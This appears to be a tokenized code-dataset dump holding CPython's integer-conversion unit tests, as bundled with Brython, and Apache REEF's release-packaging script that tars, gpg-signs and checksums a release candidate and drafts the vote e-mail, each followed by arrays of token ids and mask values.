0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
40223142/cda11
static/Brython3.1.0-20150301-090019/Lib/test/test_int.py
765
12587
import sys import unittest from test.support import run_unittest L = [ ('0', 0), ('1', 1), ('9', 9), ('10', 10), ('99', 99), ('100', 100), ('314', 314), (' 314', 314), ('314 ', 314), (' \t\t 314 \t\t ', 314), (repr(sys.maxsize), sys.maxsize), (' 1x', ValueError), (' 1 ', 1), (' 1\02 ', ValueError), ('', ValueError), (' ', ValueError), (' \t\t ', ValueError), ("\u0200", ValueError) ] class IntTestCases(unittest.TestCase): def test_basic(self): self.assertEqual(int(314), 314) self.assertEqual(int(3.14), 3) # Check that conversion from float truncates towards zero self.assertEqual(int(-3.14), -3) self.assertEqual(int(3.9), 3) self.assertEqual(int(-3.9), -3) self.assertEqual(int(3.5), 3) self.assertEqual(int(-3.5), -3) self.assertEqual(int("-3"), -3) self.assertEqual(int(" -3 "), -3) self.assertEqual(int("\N{EM SPACE}-3\N{EN SPACE}"), -3) # Different base: self.assertEqual(int("10",16), 16) # Test conversion from strings and various anomalies for s, v in L: for sign in "", "+", "-": for prefix in "", " ", "\t", " \t\t ": ss = prefix + sign + s vv = v if sign == "-" and v is not ValueError: vv = -v try: self.assertEqual(int(ss), vv) except ValueError: pass s = repr(-1-sys.maxsize) x = int(s) self.assertEqual(x+1, -sys.maxsize) self.assertIsInstance(x, int) # should return int self.assertEqual(int(s[1:]), sys.maxsize+1) # should return int x = int(1e100) self.assertIsInstance(x, int) x = int(-1e100) self.assertIsInstance(x, int) # SF bug 434186: 0x80000000/2 != 0x80000000>>1. # Worked by accident in Windows release build, but failed in debug build. # Failed in all Linux builds. x = -1-sys.maxsize self.assertEqual(x >> 1, x//2) self.assertRaises(ValueError, int, '123\0') self.assertRaises(ValueError, int, '53', 40) # SF bug 1545497: embedded NULs were not detected with # explicit base self.assertRaises(ValueError, int, '123\0', 10) self.assertRaises(ValueError, int, '123\x00 245', 20) x = int('1' * 600) self.assertIsInstance(x, int) self.assertRaises(TypeError, int, 1, 12) self.assertEqual(int('0o123', 0), 83) self.assertEqual(int('0x123', 16), 291) # Bug 1679: "0x" is not a valid hex literal self.assertRaises(ValueError, int, "0x", 16) self.assertRaises(ValueError, int, "0x", 0) self.assertRaises(ValueError, int, "0o", 8) self.assertRaises(ValueError, int, "0o", 0) self.assertRaises(ValueError, int, "0b", 2) self.assertRaises(ValueError, int, "0b", 0) # Bug #3236: Return small longs from PyLong_FromString self.assertTrue(int("10") is 10) self.assertTrue(int("-1") is -1) # SF bug 1334662: int(string, base) wrong answers # Various representations of 2**32 evaluated to 0 # rather than 2**32 in previous versions self.assertEqual(int('100000000000000000000000000000000', 2), 4294967296) self.assertEqual(int('102002022201221111211', 3), 4294967296) self.assertEqual(int('10000000000000000', 4), 4294967296) self.assertEqual(int('32244002423141', 5), 4294967296) self.assertEqual(int('1550104015504', 6), 4294967296) self.assertEqual(int('211301422354', 7), 4294967296) self.assertEqual(int('40000000000', 8), 4294967296) self.assertEqual(int('12068657454', 9), 4294967296) self.assertEqual(int('4294967296', 10), 4294967296) self.assertEqual(int('1904440554', 11), 4294967296) self.assertEqual(int('9ba461594', 12), 4294967296) self.assertEqual(int('535a79889', 13), 4294967296) self.assertEqual(int('2ca5b7464', 14), 4294967296) self.assertEqual(int('1a20dcd81', 15), 4294967296) self.assertEqual(int('100000000', 16), 4294967296) self.assertEqual(int('a7ffda91', 17), 4294967296) self.assertEqual(int('704he7g4', 18), 4294967296) self.assertEqual(int('4f5aff66', 19), 4294967296) self.assertEqual(int('3723ai4g', 20), 4294967296) self.assertEqual(int('281d55i4', 21), 4294967296) self.assertEqual(int('1fj8b184', 22), 4294967296) self.assertEqual(int('1606k7ic', 23), 4294967296) self.assertEqual(int('mb994ag', 24), 4294967296) self.assertEqual(int('hek2mgl', 25), 4294967296) self.assertEqual(int('dnchbnm', 26), 4294967296) self.assertEqual(int('b28jpdm', 27), 4294967296) self.assertEqual(int('8pfgih4', 28), 4294967296) self.assertEqual(int('76beigg', 29), 4294967296) self.assertEqual(int('5qmcpqg', 30), 4294967296) self.assertEqual(int('4q0jto4', 31), 4294967296) self.assertEqual(int('4000000', 32), 4294967296) self.assertEqual(int('3aokq94', 33), 4294967296) self.assertEqual(int('2qhxjli', 34), 4294967296) self.assertEqual(int('2br45qb', 35), 4294967296) self.assertEqual(int('1z141z4', 36), 4294967296) # tests with base 0 # this fails on 3.0, but in 2.x the old octal syntax is allowed self.assertEqual(int(' 0o123 ', 0), 83) self.assertEqual(int(' 0o123 ', 0), 83) self.assertEqual(int('000', 0), 0) self.assertEqual(int('0o123', 0), 83) self.assertEqual(int('0x123', 0), 291) self.assertEqual(int('0b100', 0), 4) self.assertEqual(int(' 0O123 ', 0), 83) self.assertEqual(int(' 0X123 ', 0), 291) self.assertEqual(int(' 0B100 ', 0), 4) # without base still base 10 self.assertEqual(int('0123'), 123) self.assertEqual(int('0123', 10), 123) # tests with prefix and base != 0 self.assertEqual(int('0x123', 16), 291) self.assertEqual(int('0o123', 8), 83) self.assertEqual(int('0b100', 2), 4) self.assertEqual(int('0X123', 16), 291) self.assertEqual(int('0O123', 8), 83) self.assertEqual(int('0B100', 2), 4) # the code has special checks for the first character after the # type prefix self.assertRaises(ValueError, int, '0b2', 2) self.assertRaises(ValueError, int, '0b02', 2) self.assertRaises(ValueError, int, '0B2', 2) self.assertRaises(ValueError, int, '0B02', 2) self.assertRaises(ValueError, int, '0o8', 8) self.assertRaises(ValueError, int, '0o08', 8) self.assertRaises(ValueError, int, '0O8', 8) self.assertRaises(ValueError, int, '0O08', 8) self.assertRaises(ValueError, int, '0xg', 16) self.assertRaises(ValueError, int, '0x0g', 16) self.assertRaises(ValueError, int, '0Xg', 16) self.assertRaises(ValueError, int, '0X0g', 16) # SF bug 1334662: int(string, base) wrong answers # Checks for proper evaluation of 2**32 + 1 self.assertEqual(int('100000000000000000000000000000001', 2), 4294967297) self.assertEqual(int('102002022201221111212', 3), 4294967297) self.assertEqual(int('10000000000000001', 4), 4294967297) self.assertEqual(int('32244002423142', 5), 4294967297) self.assertEqual(int('1550104015505', 6), 4294967297) self.assertEqual(int('211301422355', 7), 4294967297) self.assertEqual(int('40000000001', 8), 4294967297) self.assertEqual(int('12068657455', 9), 4294967297) self.assertEqual(int('4294967297', 10), 4294967297) self.assertEqual(int('1904440555', 11), 4294967297) self.assertEqual(int('9ba461595', 12), 4294967297) self.assertEqual(int('535a7988a', 13), 4294967297) self.assertEqual(int('2ca5b7465', 14), 4294967297) self.assertEqual(int('1a20dcd82', 15), 4294967297) self.assertEqual(int('100000001', 16), 4294967297) self.assertEqual(int('a7ffda92', 17), 4294967297) self.assertEqual(int('704he7g5', 18), 4294967297) self.assertEqual(int('4f5aff67', 19), 4294967297) self.assertEqual(int('3723ai4h', 20), 4294967297) self.assertEqual(int('281d55i5', 21), 4294967297) self.assertEqual(int('1fj8b185', 22), 4294967297) self.assertEqual(int('1606k7id', 23), 4294967297) self.assertEqual(int('mb994ah', 24), 4294967297) self.assertEqual(int('hek2mgm', 25), 4294967297) self.assertEqual(int('dnchbnn', 26), 4294967297) self.assertEqual(int('b28jpdn', 27), 4294967297) self.assertEqual(int('8pfgih5', 28), 4294967297) self.assertEqual(int('76beigh', 29), 4294967297) self.assertEqual(int('5qmcpqh', 30), 4294967297) self.assertEqual(int('4q0jto5', 31), 4294967297) self.assertEqual(int('4000001', 32), 4294967297) self.assertEqual(int('3aokq95', 33), 4294967297) self.assertEqual(int('2qhxjlj', 34), 4294967297) self.assertEqual(int('2br45qc', 35), 4294967297) self.assertEqual(int('1z141z5', 36), 4294967297) def test_intconversion(self): # Test __int__() class ClassicMissingMethods: pass self.assertRaises(TypeError, int, ClassicMissingMethods()) class MissingMethods(object): pass self.assertRaises(TypeError, int, MissingMethods()) class Foo0: def __int__(self): return 42 class Foo1(object): def __int__(self): return 42 class Foo2(int): def __int__(self): return 42 class Foo3(int): def __int__(self): return self class Foo4(int): def __int__(self): return 42 class Foo5(int): def __int__(self): return 42. self.assertEqual(int(Foo0()), 42) self.assertEqual(int(Foo1()), 42) self.assertEqual(int(Foo2()), 42) self.assertEqual(int(Foo3()), 0) self.assertEqual(int(Foo4()), 42) self.assertRaises(TypeError, int, Foo5()) class Classic: pass for base in (object, Classic): class IntOverridesTrunc(base): def __int__(self): return 42 def __trunc__(self): return -12 self.assertEqual(int(IntOverridesTrunc()), 42) class JustTrunc(base): def __trunc__(self): return 42 self.assertEqual(int(JustTrunc()), 42) for trunc_result_base in (object, Classic): class Integral(trunc_result_base): def __int__(self): return 42 class TruncReturnsNonInt(base): def __trunc__(self): return Integral() self.assertEqual(int(TruncReturnsNonInt()), 42) class NonIntegral(trunc_result_base): def __trunc__(self): # Check that we avoid infinite recursion. return NonIntegral() class TruncReturnsNonIntegral(base): def __trunc__(self): return NonIntegral() try: int(TruncReturnsNonIntegral()) except TypeError as e: self.assertEqual(str(e), "__trunc__ returned non-Integral" " (type NonIntegral)") else: self.fail("Failed to raise TypeError with %s" % ((base, trunc_result_base),)) def test_error_message(self): testlist = ('\xbd', '123\xbd', ' 123 456 ') for s in testlist: try: int(s) except ValueError as e: self.assertIn(s.strip(), e.args[0]) else: self.fail("Expected int(%r) to raise a ValueError", s) def test_main(): run_unittest(IntTestCases) if __name__ == "__main__": test_main()
gpl-3.0
[ 646, 984, 199, 199, 646, 2882, 199, 504, 511, 14, 4058, 492, 1255, 63, 2796, 199, 199, 44, 275, 359, 267, 661, 16, 297, 378, 395, 267, 661, 17, 297, 413, 395, 267, 661, 25, 297, 1749, 395, 267, 661, 709, 297, 1616, 395, 267, 661, 1020, 297, 8806, 395, 267, 661, 1960, 297, 2948, 395, 267, 661, 8988, 297, 29182, 395, 267, 661, 29182, 297, 29182, 395, 267, 661, 8988, 1656, 29182, 395, 267, 661, 221, 971, 84, 60, 84, 221, 29182, 221, 971, 84, 60, 84, 221, 1656, 29182, 395, 267, 334, 2722, 8, 1274, 14, 13634, 395, 984, 14, 13634, 395, 267, 661, 221, 413, 88, 297, 1722, 395, 267, 661, 221, 413, 221, 1656, 413, 395, 267, 661, 221, 413, 60, 996, 221, 1656, 1722, 395, 267, 13134, 1722, 395, 267, 661, 1656, 1722, 395, 267, 661, 221, 971, 84, 60, 84, 221, 1656, 1722, 395, 267, 25381, 85, 24215, 401, 1722, 9, 199, 61, 199, 199, 533, 9805, 19346, 8, 2796, 14, 1746, 304, 339, 347, 511, 63, 4316, 8, 277, 304, 267, 291, 14, 629, 8, 442, 8, 8988, 395, 29182, 9, 267, 291, 14, 629, 8, 442, 8, 19, 14, 1079, 395, 650, 9, 267, 327, 2670, 626, 8603, 687, 2069, 14547, 83, 28354, 4697, 267, 291, 14, 629, 8, 442, 2801, 19, 14, 1079, 395, 446, 19, 9, 267, 291, 14, 629, 8, 442, 8, 19, 14, 25, 395, 650, 9, 267, 291, 14, 629, 8, 442, 2801, 19, 14, 25, 395, 446, 19, 9, 267, 291, 14, 629, 8, 442, 8, 19, 14, 21, 395, 650, 9, 267, 291, 14, 629, 8, 442, 2801, 19, 14, 21, 395, 446, 19, 9, 267, 291, 14, 629, 8, 442, 6096, 19, 1288, 446, 19, 9, 267, 291, 14, 629, 8, 442, 480, 446, 19, 26261, 446, 19, 9, 267, 291, 14, 629, 8, 442, 4582, 46, 91, 2769, 16796, 17063, 19, 60, 46, 91, 742, 16796, 93, 1288, 446, 19, 9, 267, 327, 18029, 640, 1300, 26, 267, 291, 14, 629, 8, 442, 480, 709, 401, 975, 395, 3193, 9, 267, 327, 1379, 8603, 687, 3326, 436, 7750, 376, 676, 279, 1500, 267, 367, 308, 12, 373, 315, 491, 26, 288, 367, 2070, 315, 4873, 7210, 401, 30312, 355, 367, 2403, 315, 4873, 298, 3872, 1867, 84, 401, 298, 221, 971, 84, 60, 84, 221, 7244, 490, 10110, 275, 2403, 435, 2070, 435, 308, 490, 373, 86, 275, 373, 490, 340, 2070, 508, 17155, 436, 373, 365, 440, 1722, 26, 717, 373, 86, 275, 446, 86, 490, 862, 26, 717, 291, 14, 629, 8, 442, 8, 385, 395, 373, 86, 9, 490, 871, 1722, 26, 717, 986, 398, 308, 275, 4700, 2801, 17, 13, 1274, 14, 13634, 9, 267, 671, 275, 1109, 8, 83, 9, 267, 291, 14, 629, 8, 88, 11, 17, 12, 446, 1274, 14, 13634, 9, 267, 291, 14, 6926, 8, 88, 12, 1109, 9, 267, 327, 1077, 372, 1109, 267, 291, 14, 629, 8, 442, 8, 83, 59, 17, 26, 2522, 984, 14, 13634, 11, 17, 9, 398, 327, 1077, 372, 1109, 267, 671, 275, 1109, 8, 17, 69, 1960, 9, 267, 291, 14, 6926, 8, 88, 12, 1109, 9, 267, 671, 275, 1109, 2801, 17, 69, 1960, 9, 267, 291, 14, 6926, 8, 88, 12, 1109, 9, 7318, 327, 29531, 6519, 841, 1082, 11656, 26, 221, 378, 88, 24, 9084, 15, 18, 1137, 378, 88, 24, 9084, 1140, 17, 14, 267, 327, 9361, 379, 701, 24634, 315, 5417, 4683, 1900, 12, 1325, 3405, 315, 3105, 1900, 14, 267, 327, 16277, 315, 1006, 10130, 14723, 14, 267, 671, 275, 446, 17, 13, 1274, 14, 13634, 267, 291, 14, 629, 8, 88, 4331, 413, 12, 671, 501, 18, 9, 398, 291, 14, 1855, 8, 3393, 12, 1109, 12, 283, 4288, 60, 16, 358, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 283, 2481, 297, 6335, 9, 398, 327, 29531, 6519, 31693, 1477, 2576, 26, 12169, 653, 1293, 83, 4898, 440, 10501, 543, 267, 327, 5027, 1300, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 283, 4288, 60, 16, 297, 1616, 9, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 283, 4288, 60, 88, 383, 32102, 297, 3388, 9, 398, 671, 275, 1109, 360, 17, 7, 627, 11624, 9, 267, 291, 14, 6926, 8, 88, 12, 1109, 9, 7318, 291, 14, 1855, 8, 4333, 12, 1109, 12, 413, 12, 3144, 9, 398, 291, 14, 629, 8, 442, 360, 16, 79, 4288, 297, 378, 395, 20582, 9, 267, 291, 14, 629, 8, 442, 360, 16, 88, 4288, 297, 3193, 395, 499, 3328, 9, 398, 327, 21605, 413, 18450, 26, 298, 16, 88, 2, 365, 440, 282, 1686, 6318, 8785, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 88, 401, 3193, 9, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 88, 401, 378, 9, 398, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 79, 401, 1695, 9, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 79, 401, 378, 9, 398, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 66, 401, 499, 9, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 66, 401, 378, 9, 398, 327, 21605, 327, 708, 1344, 26, 1432, 7425, 6132, 458, 687, 1611, 9551, 63, 7671, 267, 291, 14, 1815, 8, 442, 480, 709, 531, 365, 1616, 9, 267, 291, 14, 1815, 8, 442, 6096, 17, 531, 365, 446, 17, 9, 398, 327, 29531, 6519, 4944, 1082, 19243, 26, 1109, 8, 875, 12, 1300, 9, 6835, 17133, 267, 327, 21107, 1785, 30580, 402, 499, 538, 708, 13006, 370, 378, 267, 327, 7830, 2419, 499, 538, 708, 315, 4136, 5459, 398, 291, 14, 629, 8, 442, 360, 17, 19723, 297, 499, 395, 21504, 11700, 9, 267, 291, 14, 629, 8, 442, 360, 709, 1840, 4999, 1081, 614, 1081, 845, 6094, 845, 297, 650, 395, 21504, 11700, 9, 267, 291, 14, 629, 8, 442, 360, 17, 9409, 297, 841, 395, 21504, 11700, 9, 267, 291, 14, 629, 8, 442, 360, 708, 1194, 5303, 1194, 1789, 12735, 297, 959, 395, 21504, 11700, 9, 267, 291, 14, 629 ]
[ 984, 199, 199, 646, 2882, 199, 504, 511, 14, 4058, 492, 1255, 63, 2796, 199, 199, 44, 275, 359, 267, 661, 16, 297, 378, 395, 267, 661, 17, 297, 413, 395, 267, 661, 25, 297, 1749, 395, 267, 661, 709, 297, 1616, 395, 267, 661, 1020, 297, 8806, 395, 267, 661, 1960, 297, 2948, 395, 267, 661, 8988, 297, 29182, 395, 267, 661, 29182, 297, 29182, 395, 267, 661, 8988, 1656, 29182, 395, 267, 661, 221, 971, 84, 60, 84, 221, 29182, 221, 971, 84, 60, 84, 221, 1656, 29182, 395, 267, 334, 2722, 8, 1274, 14, 13634, 395, 984, 14, 13634, 395, 267, 661, 221, 413, 88, 297, 1722, 395, 267, 661, 221, 413, 221, 1656, 413, 395, 267, 661, 221, 413, 60, 996, 221, 1656, 1722, 395, 267, 13134, 1722, 395, 267, 661, 1656, 1722, 395, 267, 661, 221, 971, 84, 60, 84, 221, 1656, 1722, 395, 267, 25381, 85, 24215, 401, 1722, 9, 199, 61, 199, 199, 533, 9805, 19346, 8, 2796, 14, 1746, 304, 339, 347, 511, 63, 4316, 8, 277, 304, 267, 291, 14, 629, 8, 442, 8, 8988, 395, 29182, 9, 267, 291, 14, 629, 8, 442, 8, 19, 14, 1079, 395, 650, 9, 267, 327, 2670, 626, 8603, 687, 2069, 14547, 83, 28354, 4697, 267, 291, 14, 629, 8, 442, 2801, 19, 14, 1079, 395, 446, 19, 9, 267, 291, 14, 629, 8, 442, 8, 19, 14, 25, 395, 650, 9, 267, 291, 14, 629, 8, 442, 2801, 19, 14, 25, 395, 446, 19, 9, 267, 291, 14, 629, 8, 442, 8, 19, 14, 21, 395, 650, 9, 267, 291, 14, 629, 8, 442, 2801, 19, 14, 21, 395, 446, 19, 9, 267, 291, 14, 629, 8, 442, 6096, 19, 1288, 446, 19, 9, 267, 291, 14, 629, 8, 442, 480, 446, 19, 26261, 446, 19, 9, 267, 291, 14, 629, 8, 442, 4582, 46, 91, 2769, 16796, 17063, 19, 60, 46, 91, 742, 16796, 93, 1288, 446, 19, 9, 267, 327, 18029, 640, 1300, 26, 267, 291, 14, 629, 8, 442, 480, 709, 401, 975, 395, 3193, 9, 267, 327, 1379, 8603, 687, 3326, 436, 7750, 376, 676, 279, 1500, 267, 367, 308, 12, 373, 315, 491, 26, 288, 367, 2070, 315, 4873, 7210, 401, 30312, 355, 367, 2403, 315, 4873, 298, 3872, 1867, 84, 401, 298, 221, 971, 84, 60, 84, 221, 7244, 490, 10110, 275, 2403, 435, 2070, 435, 308, 490, 373, 86, 275, 373, 490, 340, 2070, 508, 17155, 436, 373, 365, 440, 1722, 26, 717, 373, 86, 275, 446, 86, 490, 862, 26, 717, 291, 14, 629, 8, 442, 8, 385, 395, 373, 86, 9, 490, 871, 1722, 26, 717, 986, 398, 308, 275, 4700, 2801, 17, 13, 1274, 14, 13634, 9, 267, 671, 275, 1109, 8, 83, 9, 267, 291, 14, 629, 8, 88, 11, 17, 12, 446, 1274, 14, 13634, 9, 267, 291, 14, 6926, 8, 88, 12, 1109, 9, 267, 327, 1077, 372, 1109, 267, 291, 14, 629, 8, 442, 8, 83, 59, 17, 26, 2522, 984, 14, 13634, 11, 17, 9, 398, 327, 1077, 372, 1109, 267, 671, 275, 1109, 8, 17, 69, 1960, 9, 267, 291, 14, 6926, 8, 88, 12, 1109, 9, 267, 671, 275, 1109, 2801, 17, 69, 1960, 9, 267, 291, 14, 6926, 8, 88, 12, 1109, 9, 7318, 327, 29531, 6519, 841, 1082, 11656, 26, 221, 378, 88, 24, 9084, 15, 18, 1137, 378, 88, 24, 9084, 1140, 17, 14, 267, 327, 9361, 379, 701, 24634, 315, 5417, 4683, 1900, 12, 1325, 3405, 315, 3105, 1900, 14, 267, 327, 16277, 315, 1006, 10130, 14723, 14, 267, 671, 275, 446, 17, 13, 1274, 14, 13634, 267, 291, 14, 629, 8, 88, 4331, 413, 12, 671, 501, 18, 9, 398, 291, 14, 1855, 8, 3393, 12, 1109, 12, 283, 4288, 60, 16, 358, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 283, 2481, 297, 6335, 9, 398, 327, 29531, 6519, 31693, 1477, 2576, 26, 12169, 653, 1293, 83, 4898, 440, 10501, 543, 267, 327, 5027, 1300, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 283, 4288, 60, 16, 297, 1616, 9, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 283, 4288, 60, 88, 383, 32102, 297, 3388, 9, 398, 671, 275, 1109, 360, 17, 7, 627, 11624, 9, 267, 291, 14, 6926, 8, 88, 12, 1109, 9, 7318, 291, 14, 1855, 8, 4333, 12, 1109, 12, 413, 12, 3144, 9, 398, 291, 14, 629, 8, 442, 360, 16, 79, 4288, 297, 378, 395, 20582, 9, 267, 291, 14, 629, 8, 442, 360, 16, 88, 4288, 297, 3193, 395, 499, 3328, 9, 398, 327, 21605, 413, 18450, 26, 298, 16, 88, 2, 365, 440, 282, 1686, 6318, 8785, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 88, 401, 3193, 9, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 88, 401, 378, 9, 398, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 79, 401, 1695, 9, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 79, 401, 378, 9, 398, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 66, 401, 499, 9, 267, 291, 14, 1855, 8, 3393, 12, 1109, 12, 298, 16, 66, 401, 378, 9, 398, 327, 21605, 327, 708, 1344, 26, 1432, 7425, 6132, 458, 687, 1611, 9551, 63, 7671, 267, 291, 14, 1815, 8, 442, 480, 709, 531, 365, 1616, 9, 267, 291, 14, 1815, 8, 442, 6096, 17, 531, 365, 446, 17, 9, 398, 327, 29531, 6519, 4944, 1082, 19243, 26, 1109, 8, 875, 12, 1300, 9, 6835, 17133, 267, 327, 21107, 1785, 30580, 402, 499, 538, 708, 13006, 370, 378, 267, 327, 7830, 2419, 499, 538, 708, 315, 4136, 5459, 398, 291, 14, 629, 8, 442, 360, 17, 19723, 297, 499, 395, 21504, 11700, 9, 267, 291, 14, 629, 8, 442, 360, 709, 1840, 4999, 1081, 614, 1081, 845, 6094, 845, 297, 650, 395, 21504, 11700, 9, 267, 291, 14, 629, 8, 442, 360, 17, 9409, 297, 841, 395, 21504, 11700, 9, 267, 291, 14, 629, 8, 442, 360, 708, 1194, 5303, 1194, 1789, 12735, 297, 959, 395, 21504, 11700, 9, 267, 291, 14, 629, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dongjoon-hyun/incubator-reef
dev/release.py
13
5542
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """ This script creates a release candidate and relevant files. (How to run) python release.py <reef_home> <reef_version> <rc candidate number> <public key id (8 hex numbers)> You can also see how to run the script with 'python release.py -h' (Examples) python release.py ~/reef 0.14.0 1 E488F925 """ import subprocess import fnmatch import tarfile import hashlib import os import argparse """ Get list from .gitignore """ def get_ignore_list(reef_home): f = open(reef_home + "/.gitignore", "r") if f is None: return [] ignore_list = list() while True: line = f.readline()[:-1] if not line: break if "#" not in line: ignore_list.insert(0, "*/" + line) return ignore_list """ Make text for e-mail """ def get_mail_text(reef_version, rc_num): file_name = "apache-reef-" + reef_version + "-rc" + str(rc_num) + ".tar.gz" return_str = "" return_str += "This is to call for a new vote for the source release of Apache REEF " \ + reef_version + " (rc" + str(rc_num) + ").\n\n" return_str += "The source tar ball, including signatures, digests, etc can be found at:\n" + "<yours>\n\n" return_str += "The Git tag is release-" + reef_version + "-rc" + str(rc_num) + "\n" return_str += "The Git commit ID is <Git Commit ID>\n\n\n" return_str += "Checksums of apache-reef-" + reef_version + "-rc" + str(rc_num) + ".tar.gz:\n\n" md5 = open(file_name + ".md5").read().split(" ")[0] return_str += "MD5: " + md5 + "\n" sha = open(file_name + ".sha512").read().split(" ")[0] return_str += "SHA: " + sha + "\n" return_str += "\nRelease artifacts are signed with a key found in the KEYS file available here:\n" return_str += "\nhttps://dist.apache.org/repos/dist/release/reef/KEYS\n\n\n\n" return_str += "<Issue Things>\n\n\n\n" return_str += "The vote will be open for 72 hours. Please download the release\n" \ + "candidate, check the hashes/signature, build it and test it, and then\nplease vote:\n\n" \ + "[ ] +1 Release this package as Apache REEF " + reef_version + "\n" \ + "[ ] +0 no opinion\n" \ + "[ ] -1 Do not release this package because ...\n\n" \ + "Thanks!" return return_str """ Function to exclude files in .gitignore when making tar.gz Return true when a file is in .gitignore """ def exclude_git_ignore(file_name): ignore_list = get_ignore_list(reef_home) for e in ignore_list: if fnmatch.fnmatch(file_name, e): return True return fnmatch.fnmatch(file_name, "*/.git") or fnmatch.fnmatch(file_name, "*/.gitignore") or \ fnmatch.fnmatch(file_name, "*/.gitattributes") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Script for release versioning, packaging, checksum") parser.add_argument("reef_home", type=str, help="REEF home") parser.add_argument("reef_version", type=str, help="REEF version") parser.add_argument("rc_num", type=int, help ="rc candidate number") parser.add_argument("key_id", type=str, help = "public key id (8 hex numbers)") args = parser.parse_args() reef_home = os.path.abspath(args.reef_home) reef_version = args.reef_version rc_num = args.rc_num key_id = args.key_id build_result = subprocess.call("cd " + reef_home + " && " + "mvn apache-rat:check", shell=True) if build_result == 0: file_name = "apache-reef-" + reef_version + "-rc" + str(rc_num) + ".tar.gz" # Make tar.gz tar = tarfile.open(file_name, "w:gz") tar.add(reef_home, arcname="apache-reef-"+reef_version, exclude=exclude_git_ignore) tar.close() gpg_str = "gpg --armor -u " + str(key_id) + " --output " + file_name + ".asc " + "--detach-sig " + file_name gpg_result = subprocess.call(gpg_str, shell=True) if gpg_result == 0: md5 = hashlib.md5(open(file_name, 'rb').read()).hexdigest() sha = hashlib.sha512(open(file_name, 'rb').read()).hexdigest() md5_file = open(file_name + ".md5", "w") md5_file.write(md5 + " *" + file_name + "\n") sha_file = open(file_name + ".sha512", "w") sha_file.write(sha + " *" + file_name + "\n") md5_file.close() sha_file.close() # Make a Text for an e-mail print "\n==================================Result===================================" print get_mail_text(reef_version, rc_num) print "===========================================================================\n" else: print "gpg error" else: print "build error - mvn apache-rat:check failed"
apache-2.0
